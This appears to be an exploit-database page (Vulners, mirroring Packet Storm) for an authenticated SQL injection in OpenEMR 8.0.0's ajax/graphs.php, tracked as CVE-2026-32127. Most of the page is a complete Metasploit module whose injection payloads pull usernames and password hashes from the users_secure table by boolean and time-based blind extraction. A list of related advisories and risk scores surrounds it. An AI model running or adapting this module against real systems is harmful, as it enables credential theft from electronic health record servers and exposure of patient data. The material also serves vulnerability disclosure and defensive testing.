Lucene search
K

📄 OpenEMR 8.0.0 Authenticated SQL Injection

🗓️ 23 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 94 Views

Authenticated SQL injection in OpenEMR 8.0.0 via name in ajax/graphs.php can exfiltrate data.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-32127
11 Mar 202620:53
attackerkb
Circl
CVE-2026-32127
13 Mar 202600:00
circl
CNNVD
OpenEMR SQL注入漏洞
11 Mar 202600:00
cnnvd
CVE
CVE-2026-32127
11 Mar 202620:53
cve
Cvelist
CVE-2026-32127 SQL Injection Vulnerability in ajax graphs library (OpenEMR)
11 Mar 202620:53
cvelist
EUVD
EUVD-2026-11401
11 Mar 202620:53
euvd
NVD
CVE-2026-32127
11 Mar 202621:16
nvd
OSV
CVE-2026-32127 SQL Injection Vulnerability in ajax graphs library (OpenEMR)
11 Mar 202620:53
osv
Positive Technologies
PT-2026-24848
11 Mar 202600:00
ptsecurity
RedhatCVE
CVE-2026-32127
26 Mar 202615:02
redhatcve
Rows per page
======================================================================================================================
    | # Title     : OpenEMR 8.0.0 Authenticated SQL Injection via name Parameter in ajax/graphs.php                      |
    | # Author    : indoushka                                                                                            |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                     |
    | # Vendor    : https://www.open-emr.org/                                                                            |
    ======================================================================================================================
    
    [+] Summary    : A SQL injection vulnerability exists in OpenEMR version 8.0.0 within the ajax graphs library. The issue arises due to improper sanitization of the `name` parameter in the `library/ajax/graphs.php` endpoint, 
                     where user-controlled input is directly embedded into SQL queries.
                     An authenticated attacker can exploit this vulnerability to execute arbitrary SQL statements, allowing extraction of sensitive information such as user credentials from the backend database. 
    				 The flaw supports boolean-based, union-based, and time-based blind SQL injection techniques.
                     Successful exploitation requires a valid session cookie and CSRF token.
    				 
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::SQLi
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'OpenEMR 8.0.0 SQL Injection Vulnerability',
            'Description' => %q{
              This module exploits a SQL injection vulnerability in OpenEMR 8.0.0.
              The vulnerability exists in the ajax graphs library where user-supplied
              input in the 'name' parameter is directly concatenated into SQL queries
              without proper sanitization.
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-32127'],
              ['URL', 'https://www.open-emr.org/'],
              ['CWE', '89']
            ],
            'DisclosureDate' => '2026-03-21',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to OpenEMR', '/openemr/']),
          OptString.new('COOKIE', [true, 'Valid OpenEMR session cookie', '']),
          OptString.new('CSRF_TOKEN', [true, 'CSRF token for the session', '']),
          OptString.new('TABLE', [true, 'Table to extract data from', 'users_secure']),
          OptString.new('COLUMNS', [true, 'Columns to extract', 'username,password'])
        ])
    
        register_advanced_options([
          OptInt.new('SLEEP_TIME', [true, 'Time in seconds for time-based injection', 1])
        ])
      end
    
      def run
        unless session_cookie_valid?
          fail_with(Failure::NoAccess, 'Invalid or missing session cookie')
        end
    
        print_status("Exploiting SQL injection in OpenEMR 8.0.0")
    
        sqli = create_sqli
    
        unless sqli
          fail_with(Failure::Unknown, 'Failed to initialize SQLi object')
        end
    
        print_good("SQLi object initialized")
    
        table = datastore['TABLE']
        columns = datastore['COLUMNS'].split(',').map(&:strip)
    
        columns.each do |column|
          extract_column_data(sqli, table, column)
        end
      end
    
      def session_cookie_valid?
        cookie = datastore['COOKIE']
        return false if cookie.nil? || cookie.empty?
        true
      end
    
      def create_sqli
        create_sqli(dbms: MySQLi) do |payload|
    
          injection = "date, #{payload} FROM (SELECT 1 AS field_value) AS ld "
          injection << "JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 "
          injection << "UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 "
          injection << "UNION ALL SELECT ld.field_value AS date"
    
          encoded_injection = Rex::Text.uri_encode(injection)
    
          post_data = {
            'csrf_token_form' => datastore['CSRF_TOKEN'],
            'name' => encoded_injection,
            'table' => datastore['TABLE'] || 'LBF'
          }
    
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'library/ajax/graphs.php'),
            'cookie' => datastore['COOKIE'],
            'vars_post' => post_data
          })
    
          return nil unless res && res.body
    
          return nil if res.body.include?('SQL Statement failed')
    
          res
        end
      end
    
      def extract_column_data(sqli, table, column)
        print_status("Extracting data from #{table}.#{column}")
    
        row_count = sqli.run_sql("SELECT COUNT(*) FROM #{table}")
    
        row_count = row_count && row_count[0] ? row_count[0].to_s.to_i : 1
        print_status("Found #{row_count} row(s) in #{table}")
    
        row_count.times do |row_idx|
          print_status("Extracting #{table}.#{column} (row #{row_idx + 1})")
    
          length_payload = "SELECT LENGTH(#{column}) FROM #{table} LIMIT #{row_idx},1"
          length_result = sqli.run_sql(length_payload)
    
          string_length = length_result && length_result[0] ? length_result[0].to_s.to_i : 0
    
          if string_length == 0
            print_status("Fallback to time-based extraction")
            extracted = time_based_extraction(sqli, table, column, row_idx)
            print_good("Extracted (time-based): #{extracted}")
            next
          end
    
          print_status("String length: #{string_length}")
    
          extracted = ''
    
          (0...string_length).each do |pos|
            low = 32
            high = 126
    
            while low <= high
              mid = (low + high) / 2
    
              test_payload = "SELECT ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) > #{mid} FROM #{table} LIMIT #{row_idx},1"
              result = sqli.run_sql(test_payload)
    
              if result && result[0].to_i == 1
                low = mid + 1
              else
                high = mid - 1
              end
            end
    
            char_ascii = high
            char = char_ascii.chr
            extracted << char
    
            print_status("Character #{pos + 1}: #{char} (ASCII: #{char_ascii})")
          end
    
          print_good("Extracted #{table}.#{column}: #{extracted}")
    
          store_loot(
            'openemr.sql.extracted',
            'text/plain',
            rhost,
            "#{table}.#{column}: #{extracted}",
            "openemr_#{table}_#{column}.txt",
            "Extracted data"
          )
    
          @vuln_reported ||= false
          unless @vuln_reported
            report_vuln(
              host: rhost,
              port: rport,
              name: 'OpenEMR SQL Injection',
              refs: references
            )
            @vuln_reported = true
          end
        end
      end
    
      def time_based_extraction(sqli, table, column, row_idx)
        print_status("Using time-based extraction")
    
        length = 0
    
        (1..100).each do |i|
          test_payload = "SELECT IF(LENGTH(#{column}) >= #{i}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1"
    
          start_time = Time.now
          sqli.run_sql(test_payload)
          elapsed = Time.now - start_time
    
          if elapsed >= datastore['SLEEP_TIME']
            length = i
          else
            break
          end
        end
    
        extracted = ''
    
        (0...length).each do |pos|
          low = 32
          high = 126
    
          while low <= high
            mid = (low + high) / 2
    
            test_payload = "SELECT IF(ASCII(SUBSTRING(#{column}, #{pos + 1}, 1)) >= #{mid}, SLEEP(#{datastore['SLEEP_TIME']}), 0) FROM #{table} LIMIT #{row_idx},1"
    
            start_time = Time.now
            sqli.run_sql(test_payload)
            elapsed = Time.now - start_time
    
            if elapsed >= datastore['SLEEP_TIME']
              low = mid + 1
            else
              high = mid - 1
            end
          end
    
          char_value = high
          extracted << char_value.chr
        end
    
        extracted
      end
    
      def run_host(_ip)
        run
      rescue Rex::ConnectionError => e
        print_error("Connection failed: #{e.message}")
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.18.8
EPSS0.00002
SSVC
94